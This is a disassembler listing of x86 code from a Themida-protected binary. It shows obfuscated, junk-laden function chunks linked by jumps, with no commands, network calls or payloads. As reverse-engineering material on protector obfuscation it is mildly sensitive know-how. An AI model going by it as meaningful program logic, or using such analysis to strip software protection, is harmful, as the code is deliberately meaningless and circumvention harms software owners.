loc_570834: ; CODE XREF: sub_574AF3-DAAFj
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
push ecx
push 6A9Ch
mov [esp+4+var_4], esp
jmp loc_57425F
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_570848: ; CODE XREF: sub_569DB5+2FCEj
mov [esp+4+var_4], esi
mov esi, 77445EBEh
jmp loc_573428
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_570855: ; CODE XREF: sub_567D31+48E2j
pop edi
pop esi
sub esi, 66F42050h
push esi
pop eax
pop esi
jmp loc_56A44D
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_570865: ; CODE XREF: sub_565632+8777j
sub [edi+24h], ecx
pop ecx
; END OF FUNCTION CHUNK FOR sub_565632
; START OF FUNCTION CHUNK FOR sub_56616D
loc_570869: ; CODE XREF: sub_56616D+4C0j
push 3713h
mov [esp-8+arg_4], edx
sub esp, 4
mov [esp-4+arg_0], ebx
sub [esp-4+arg_0], 17913F0Fh
pop edx
push esi
push 3129h
jmp loc_570B9F
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_57088D: ; CODE XREF: sub_565849+2687j
sub edx, 5DDF69C4h
jmp loc_57452C
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_570898: ; CODE XREF: sub_57549C-5378j
mov [esp+0Ch+var_C], ebp
jmp loc_57313B
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_5708A0: ; CODE XREF: sub_571088+1799j
xor bl, cl
jmp loc_57245A
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5708A7: ; CODE XREF: sub_569193-4C03j
mov edx, ebx
pop ebx
mov edi, 6C8316E4h
sub edi, edx
mov edx, [esp+14h+var_14]
add esp, 4
add edx, edi
jmp loc_56F1E1
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5708C1: ; CODE XREF: sub_5685B2-16EEj
push eax
jmp loc_561F30
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_5708C7: ; CODE XREF: sub_57523A-81A7j
neg eax
sub eax, 0D1C72480h
add ebp, eax
pop eax
mov esi, [esp+10h+var_10]
add esp, 4
add edx, ebp
pop ebp
sub edi, 233D0451h
push ecx
jmp loc_56473C
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5708E9: ; CODE XREF: sub_57354D-810Fj
not ebx
sub ebx, 0AFF10C29h
sub esi, ebx
pop ebx
and eax, esi
jmp loc_562E3C
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_5708FB: ; CODE XREF: Themida_:005674F2j
add edx, 4
xchg edx, [esp]
pop esp
push 1777h
mov [esp], esi
sub esp, 4
mov [esp], edi
mov edi, 4
mov esi, edi
mov edi, [esp]
jmp loc_56021D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_570925: ; CODE XREF: sub_5733CA-1282Fj
div cx
push small 1703h
mov [esp+0], dx
push ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_570938: ; CODE XREF: sub_573876-D5F0j
add esp, 4
push 0B62h
mov [esp+8+var_8], edx
mov edx, 4
sub ecx, 1096426Eh
add ecx, edx
jmp sub_560066
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_570955: ; CODE XREF: sub_5620B7+40B1j
sub dl, 0FFh
push ecx
mov cl, 87h
push small 0
sub byte ptr [esp+12h+var_14+2], cl
mov cl, byte ptr [esp+12h+var_14+2]
add esp, 2
shr cl, 7
push ebx
jmp loc_571B0D
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_570971: ; CODE XREF: sub_565632+1D74j
mov ecx, 0C143874h
not ecx
xor ecx, 0F3EBC78Fh
jmp loc_568FD7
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_570983: ; CODE XREF: sub_56EFD2-A1F1j
add ebx, 38957516h
add ebx, 4477385h
sub ebx, 0BF5C9363h
mov esi, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
mov ebp, 8277A366h
sub ebp, 779C0684h
add ebp, esi
add ebp, 779C0684h
jmp loc_5688AD
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_5709B8: ; CODE XREF: sub_569E1B+34FCj
sub dh, 93h
not dh
inc dh
shl dh, 4
shr dh, 7
jmp loc_562FF4
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
loc_5709CA: ; CODE XREF: Themida_:0056B418j
neg esi
xor esi, 1CB86A79h
and edx, esi
pop esi
and edx, 95B5023h
dec edx
shl edx, 6
jmp loc_5674D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5709E4: ; CODE XREF: sub_57354D-12602j
push 5A8Eh
mov [esp+8+var_8], ebx
mov ebx, 4E616C33h
jmp loc_56B429
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_5709F6: ; CODE XREF: sub_565A8D+429Dj
pop [esp+4+var_4]
pop esp
push 11D3h
mov [esp+0], esi
jmp loc_5686BE
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747AF
loc_570A07: ; CODE XREF: sub_5747AF-12089j
pop esi
jmp loc_56624C
; END OF FUNCTION CHUNK FOR sub_5747AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_570A0D: ; CODE XREF: sub_563819+5F44j
push esi
push esp
pop esi
add esi, 4
jmp loc_571D5A
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_570A1B: ; CODE XREF: sub_561027-30Fj
mov edi, 1CE46C0Ah
add edx, edi
pop edi
pop eax
push ebp
mov ebp, 174A2ABDh
add edx, ebp
pop ebp
jmp loc_56BB4A
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_570A32: ; CODE XREF: sub_570732-1BC7j
push [esp+14h+var_10]
pop edx
jmp loc_56F5AE
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_570A3C: ; CODE XREF: sub_56E126+2969j
mov edx, 3DA11ABCh
mov ecx, 72882CCBh
xor ecx, edx
mov edx, [esp+10h+var_10]
add esp, 4
xor ecx, edi
jmp loc_565EE5
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
loc_570A55: ; CODE XREF: Themida_:00568EEFj
add ebx, eax
jmp loc_56CF63
; ---------------------------------------------------------------------------
loc_570A5C: ; CODE XREF: Themida_:00570BD2j
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_571752
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_570A68: ; CODE XREF: sub_56D4B8-ADF6j
add esp, 4
shr ecx, 0
or eax, eax
jz loc_571DE2
push 7320h
mov [esp-8+arg_4], ebx
jmp loc_560B19
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_570A83: ; CODE XREF: sub_569FB8-996Fj
pop small word ptr [edi+eax*4]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_570A8C: ; CODE XREF: sub_56E126-19C2j
mov [esp+10h+var_10], edx
jmp loc_570A3C
; END OF FUNCTION CHUNK FOR sub_56E126
; =============== S U B R O U T I N E =======================================
sub_570A94 proc near ; DATA XREF: Themida_:0055FE0Co
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp+0], cl
pushf
jmp loc_55FF9F
sub_570A94 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_570AA4: ; CODE XREF: sub_5638E4-33Bj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_570AA9: ; CODE XREF: sub_574A21-C129j
add eax, ebp
push [esp+4+var_4]
pop ebp
add esp, 4
push ebp
mov ebp, 6E105898h
add eax, 54DF2316h
sub eax, ebp
sub eax, 54DF2316h
pop ebp
push esi
mov esi, 62737B33h
jmp loc_562FE9
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_570AD3: ; CODE XREF: sub_56638C+3B48j
dec eax
inc eax
jmp loc_560D7F
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 459Bh
mov [esp], ebx
mov ebx, esp
push ebp
push ecx
push edx
jmp loc_56188F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_570AF0: ; CODE XREF: sub_56DA43+2568j
xchg ebx, ecx
not ecx
push ebp
mov ebp, 73CD4E99h
push ebp
mov ebp, 209F0A5Ah
jmp loc_56E3BF
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_570B05: ; CODE XREF: sub_560D31+25j
pop ebx
mov edx, [esp+0]
add esp, 4
jmp loc_568C2F
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_570B11: ; CODE XREF: sub_569FB8+F6Bj
pop esp
push edx
jmp loc_56F3BB
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
loc_570B18: ; CODE XREF: Themida_:00574201j
push esp
pop eax
push edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_561684
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_570B2A: ; CODE XREF: sub_574A21+9BEj
xor edx, ecx
pop ecx
sub eax, edx
mov edx, [esp+4+var_4]
add esp, 4
push ecx
push eax
jmp loc_5675FB
; END OF FUNCTION CHUNK FOR sub_574A21
; =============== S U B R O U T I N E =======================================
sub_570B3C proc near ; CODE XREF: sub_563388+15j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056594E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566CC9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056768A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569099 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569623 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056974A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D7C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DF06 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570657 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005719D5 SIZE 00000012 BYTES
push ebx
mov ebx, 776C7FA3h
or edi, ebx
pop ebx
inc edi
push ebx
mov ebx, 444E79E4h
not ebx
xor ebx, 691E3B43h
shl ebx, 2
shr ebx, 2
jmp loc_569623
sub_570B3C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_570B5F: ; CODE XREF: sub_571088-A28Fj
neg cl
sub cl, 1Ah
sub al, cl
jmp loc_56843A
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_570B6B: ; CODE XREF: sub_56D69D-9A7Bj
add ebx, 518C2D55h
not ebx
xor ebx, 89B7594Dh
jmp loc_56ECCF
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_570B7E: ; CODE XREF: sub_572141-513Dj
pop ebx
jmp loc_569658
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_570B84: ; CODE XREF: sub_574304-E48j
and ecx, edi
pop edi
shr ecx, 0Bh
push edx
push edi
sub esp, 4
mov [esp+8+var_8], esi
mov esi, ebx
push esi
push ecx
push eax
jmp loc_566808
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_570B9F: ; CODE XREF: sub_56616D+A71Bj
mov [esp+0], ebx
mov ebx, 6A947EE6h
push 21EA7CFCh
pop esi
xor esi, ebx
pop ebx
xor esi, 29784F1Ah
push eax
jmp loc_572152
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_570BBC: ; CODE XREF: Themida_:00561757j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add edx, 2
xor edx, [esp]
jmp loc_570A5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_570BD7: ; CODE XREF: sub_5643EB-2C6Cj
sub edx, 666D1673h
sub ebx, edx
jmp loc_56A9DE
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
loc_570BE4: ; CODE XREF: Themida_:00561963j
pop dword ptr [esp]
jmp loc_573158
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_570BEC: ; CODE XREF: sub_571F6F+7EBj
dec edi
jmp loc_570D2E
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_570BF2: ; CODE XREF: sub_56E126-63CFj
not ebp
xchg ebp, esi
jmp loc_561BEA
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_570BFB: ; CODE XREF: sub_56651E-25B3j
xor eax, 28E90DACh
push 2DAh
mov [esp+4+var_4], edi
push esp
pop edi
push ebp
mov ebp, 7DEE62BAh
or ebp, 616056C9h
add ebp, 82118909h
add edi, 43005ECFh
add edi, 5BBF0CCCh
jmp loc_56FB59
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_570C2D: ; CODE XREF: sub_569193+2D1Cj
mov edi, esp
add edi, 4
push 4E16h
mov [esp+8+var_8], ecx
jmp loc_56F712
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_570C42: ; CODE XREF: sub_5648C6+7020j
pop ecx
push ebp
mov ebp, 723D1856h
xor ebp, 545940D8h
jmp loc_566F0F
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_570C54: ; CODE XREF: sub_56AEF2-2323j
shl al, 3
push edx
mov dh, 5Eh
add dh, 72h
sub dh, 0C0h
xor al, dh
pop edx
add al, 91h
jmp loc_564F2B
; END OF FUNCTION CHUNK FOR sub_56AEF2
; =============== S U B R O U T I N E =======================================
sub_570C6A proc near ; DATA XREF: Themida_:0055FEDCo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00564307 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005657D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056692C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B076 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056C77A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C817 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F566 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573716 SIZE 0000001F BYTES
mov ax, [esp+0]
push ebp
push edi
mov edi, esp
push ebp
mov ebp, 4
add edi, ebp
pop ebp
sub edi, 4
xchg edi, [esp+8+var_8]
jmp loc_56F566
sub_570C6A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_570C89: ; CODE XREF: sub_56E96D+48AAj
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push ebx
mov ebx, 587F7D5Ch
push ebx
dec [esp+8+var_8]
mov ebx, [esp+8+var_8]
jmp loc_568E67
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_570CA7: ; CODE XREF: sub_560844+659Dj
push esi
jmp loc_572D35
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_570CAD: ; CODE XREF: sub_563819+10BAAj
sub edx, 39ED111Ch
add edx, edi
add edx, 39ED111Ch
push 37CDh
jmp loc_56DF7F
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_570CC5: ; CODE XREF: sub_56D3AF-A4DBj
add [esp+0Ch+var_8], 6173036Bh
pop ebx
mov esi, [esp+8+var_8]
add esp, 4
push 7380h
jmp loc_56EF88
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_570CDE: ; CODE XREF: sub_569A84+9912j
push esp
jmp loc_564C44
; END OF FUNCTION CHUNK FOR sub_569A84
; =============== S U B R O U T I N E =======================================
sub_570CE4 proc near ; DATA XREF: Themida_:0055FF20o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005608E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561EBA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005643CF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565346 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056660F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00567BBE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567D24 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056808E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00569EE0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A138 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A706 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056BDFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571912 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572AE6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572F6D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573840 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0057391E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573F09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00573FC0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574FAE SIZE 0000000E BYTES
lodsd
add eax, 2BF72B2Ah
add eax, ebx
sub esp, 4
jmp loc_567BBE
sub_570CE4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_570CF4: ; CODE XREF: sub_563A7F-1EE8j
xor dh, 0C3h
sub bl, dh
pop edx
jmp loc_574A08
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_570CFF: ; CODE XREF: sub_56AA2B+11j
push ecx
mov ecx, 746B7BC8h
shr ecx, 5
jmp loc_569A6A
; END OF FUNCTION CHUNK FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_570D0D: ; CODE XREF: sub_572E16-E647j
xchg ebp, [esp+0Ch+var_C]
pop esp
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 3CD64E29h
jmp loc_57267E
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_570D21: ; CODE XREF: sub_5685B2+3A90j
mov ebx, 4
add eax, ebx
pop ebx
jmp loc_566EBB
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_570D2E: ; CODE XREF: sub_571F6F-1382j
not edi
push ecx
mov ecx, 0B651D3E4h
xor edi, ecx
jmp loc_56A874
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_570D3D: ; CODE XREF: sub_56A119-C4j
pop ebx
jmp loc_563A54
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
loc_570D43: ; CODE XREF: Themida_:005649E0j
mov ebx, esi
push dword ptr [esp]
jmp loc_56C990
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_570D4D: ; CODE XREF: sub_567D31-4AB9j
sub ebp, 60DB41C7h
jmp loc_560FC8
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_570D58: ; CODE XREF: sub_56DD54-5822j
mov [esp-4+arg_0], ecx
sub esp, 4
mov [esp+0], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop ecx
push 2012h
mov [esp+0], esi
mov esi, 763C69ECh
push ecx
jmp sub_5733CA
; END OF FUNCTION CHUNK FOR sub_56DD54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_570D80: ; CODE XREF: sub_5738F4-4019j
pop edi
xor ebx, [esp+0]
jmp loc_56E19D
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_570D89: ; CODE XREF: sub_565B6E+B2F4j
sub ecx, 8AB49513h
add ebx, ecx
pop ecx
add eax, 78924C64h
jmp loc_571F68
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_570D9C: ; CODE XREF: sub_5634AF+Bj
add ebp, 4
jmp loc_570EFE
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_570DA7: ; CODE XREF: sub_5680FB+36AEj
not [esp+8+var_8]
jmp loc_56EFCA
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_570DAF: ; CODE XREF: sub_56E0B0-4868j
add esi, 6054B364h
sub edx, esi
pop esi
xor edx, 7BD226A1h
xor edx, 212F858h
sub eax, edx
jmp loc_56AF52
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_570DCB: ; CODE XREF: sub_564D26-2FC0j
pop ebp
neg edi
xor edi, 1EC6C30h
push 1701h
jmp loc_56AA02
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_570DDE: ; CODE XREF: sub_569FB8+5ECj
mov [esp+6+var_6], edx
push ecx
sub esp, 4
mov [esp+0Eh+var_E], eax
mov al, 7Bh
mov cl, al
mov eax, [esp+0Eh+var_E]
add esp, 4
shl cl, 5
dec cl
jmp loc_56DD83
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_570E02: ; CODE XREF: sub_5754DA-7B6Cj
neg ch
push eax
mov al, 96h
xor ch, al
pop eax
sub al, ch
mov ecx, [esp+8+var_8]
jmp loc_561FB4
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_570E14: ; CODE XREF: sub_571C93+1DE7j
mov ecx, 417470F0h
push edx
mov edx, 35EA382Bh
add ecx, edx
pop edx
jmp loc_5727D1
; END OF FUNCTION CHUNK FOR sub_571C93
; =============== S U B R O U T I N E =======================================
sub_570E27 proc near ; CODE XREF: sub_56616D+E998j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562C72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AC29 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B307 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057501F SIZE 00000007 BYTES
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_56B307
sub_570E27 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_570E38: ; CODE XREF: sub_571289+6j
push esi
mov esi, 587A6C69h
jmp loc_56A3BB
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_570E43: ; CODE XREF: sub_56D464-9612j
mov eax, [esp+8+var_8]
add esp, 4
jmp loc_566D4A
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_570E51: ; CODE XREF: sub_569AB3-78A6j
and eax, edx
jmp loc_567995
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_570E58: ; CODE XREF: sub_565B6E+2B09j
dec ecx
xor ecx, 48C91322h
shr ecx, 4
jmp loc_570D89
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_570E67: ; CODE XREF: sub_571F6F-2FAAj
add bl, al
sub bl, 8Ch
add bl, 70h
add bl, 3
sub bl, 0B9h
movzx eax, al
mov dx, [esp+0]
jmp loc_57060E
; END OF FUNCTION CHUNK FOR sub_571F6F
; =============== S U B R O U T I N E =======================================
sub_570E81 proc near ; DATA XREF: Themida_:0055FD00o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561AC8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561BFC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056230A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056240B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564615 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056711C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00567A0F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005687BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568D09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569EAC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CC51 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056CCA3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056D56A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D8AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E3A9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056EFB0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057081E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571DBB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057479A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00575306 SIZE 00000007 BYTES
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
sub esp, 4
jmp loc_569EAC
sub_570E81 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_570E92: ; CODE XREF: sub_5733CA+1953j
sub ebp, 0FD33847Dh
jmp loc_569F5D
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
loc_570E9D: ; CODE XREF: Themida_:0056DFA5j
mov [esp], ebp
mov ebp, esp
jmp loc_567A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_570EA7: ; CODE XREF: sub_571F6F-B86Ej
shl ch, 1
jmp loc_56625B
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
